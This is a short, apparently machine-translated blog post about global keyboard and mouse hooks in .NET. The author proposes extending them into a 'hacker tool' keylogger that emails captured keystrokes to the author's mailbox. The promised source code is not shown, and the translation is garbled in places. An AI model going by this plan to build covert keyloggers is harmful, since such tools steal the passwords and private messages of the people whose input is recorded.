Inside the Code Project, "Global System Hooks In .Net", it can implement global hooks in .NET, but what i dispike there is an unmanaged DLL IN C That Is A Main Part of this Solution. This Unmanaged DLL IN C and a number of classes make it it complicated to integrate it in my own tiny application
And this is also "Processing Global Mouse and Keyboard Hooks In C #", unmanage is all .Net. Use it to capture the global keyboard and mouse events. The author found two exceptions: wh_keyboard_ll and wh_mouse_ll are global hooks that can be used in .NET.
So I watched the Soucecode, the running effect is very good, thus thinking about adding a modification to adding a multi-point function to make a hacker tool, the keyboard record program. Specifically, you can add the information that sends the recorded information to your own mailbox.
In order to facilitate everyone to learn, I will put the main source code (WGSCD prompts you to prohibit illegal use):
